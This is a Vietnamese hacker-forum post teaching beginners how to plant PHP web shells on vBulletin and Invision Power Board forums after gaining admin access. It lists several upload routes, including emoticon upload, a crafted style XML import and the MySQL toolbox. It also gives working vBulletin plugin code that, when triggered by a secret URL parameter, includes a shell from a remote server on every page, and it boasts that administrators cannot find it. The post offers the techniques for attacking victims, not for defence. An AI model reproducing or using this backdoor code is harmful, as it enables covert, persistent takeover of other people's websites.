Cách up shelll ở IPB, VBB !!!

Cách up shelll ở IPB, VBB !!!


--------------------------------------------------------------------------------

Thấy bài này của longnhi post bên VN1 cũng hay, rất có ích cho newbie tham khảo, để tránh trường hợp các bạn cứ open topic hỏi các vấn đề này, nên tôi copy nó về HcE.

Anh em nào có cách up shell khác có thể post trong topic này luôn. tks

================================================== =========
upshell thì tùy theo khả năng của mỗi người thôi, cái này nói chung chung hơi khó nhưng mà đối với VBB hay IPB thì tớ có thể giúp. (cái này tớ nói khi đã vào được admincp)

+VBB: thằng này upshell rất đơn giản vào phần add plugin của VBB add thêm plugin mới và trong plugin này chứa đoạn code include shell
Ex:include('link shell');
Chú ý là phải enable cái plugin trước và phải để cái plugin mới add ở chế độ active.

+IPB:Thằng này hiện tại tớ có 3 cách up shell

Cách 1: Cách này rất đơn giản cứ vào trong phần Style manager coi phần Emoticons rồi cứ up con shell php lên là được. Tuy nhiên cách này có hạn chế là đối với các ver >=2.1.7 ko làm được bới vì nó check cái file type.

Cách 2: Cách này up thông qua file xml. Trước hết cần tạo cái file xml.
cái này làm trên host của mình hoặc localhost, vào trong thư mục style_images coi cái thư mục nào mình thích rồi copy con shell vào để đó, sau đó vào phần style manager của mình export cái cái thư mục đó ra thành file xml, sau khi có file xml rồi vào admincp của victim import cái file xml vào khi đó sẽ có shell (cái này nói sơ sơ khó hiểu, muốn up được shell phải chịu khó mày mò thêm).

Cách 3: Cách này private nhưng mà tớ cũng nói ra để mọi người biết chỗ tìm hiểu, thông thường 2 cách trên nhiều khi sẽ gặp rắc rối rất lớn đó là thằng admin nó chmod rất kỹ cho nên mình sẽ ko thể up được shell, cách thứ 3 này sẽ giải quyết được tất cả, thằng admin nó có chmod cỡ nào thì mình vẫn có thể có shell, còn up được con shell lên host của nó ko lại là 1 vấn đề nữa.
Coi kỹ phần MySQL Tool box của nó, chắc chắn sẽ có shell.

Còn nhiều cách up shell khác chủ yếu là khả năng khai thác bug của mỗi người

-- @longnhi - HcE ----





bổ sung:
Vbulletin thì upshell lên với 3 cách:
1. Edit template
2. Thêm Plugin
3. Edit trong database (khỏi cần login vào acp)
Nhưng mà 1+2 thì phải là superadmin mới làm được ! cái này phải edit trong file config.php !

Sau đây là 1 cách include shell đơn giản nói trên:
https://2img.net/r/ihimizer/img278/7906/upshellqm3.jpg

Add New Plugin =>
Hook Location This specifies the location within the vBulletin code of the hook that will fire this plugin function:

Code:

chọn là: cache_template

Plugin PHP Code:

Trích:

{
if($_GET['black']=="vnforce"){
include('http://<server>/shell.txt');
}
}


Sau đó là:
tất cả các file trong forum sẽ dính shell này ! đặc biệt là admin nó có kiếm trong file cũng hông ra đâu
ví dụ:
index.php?black=vnforce
tương tự như các file:
online.php
member.php
...
dính hết ! Nói ra VB dễ up shell hơn IPB đó chứ !



Black_hat_cr(HCE)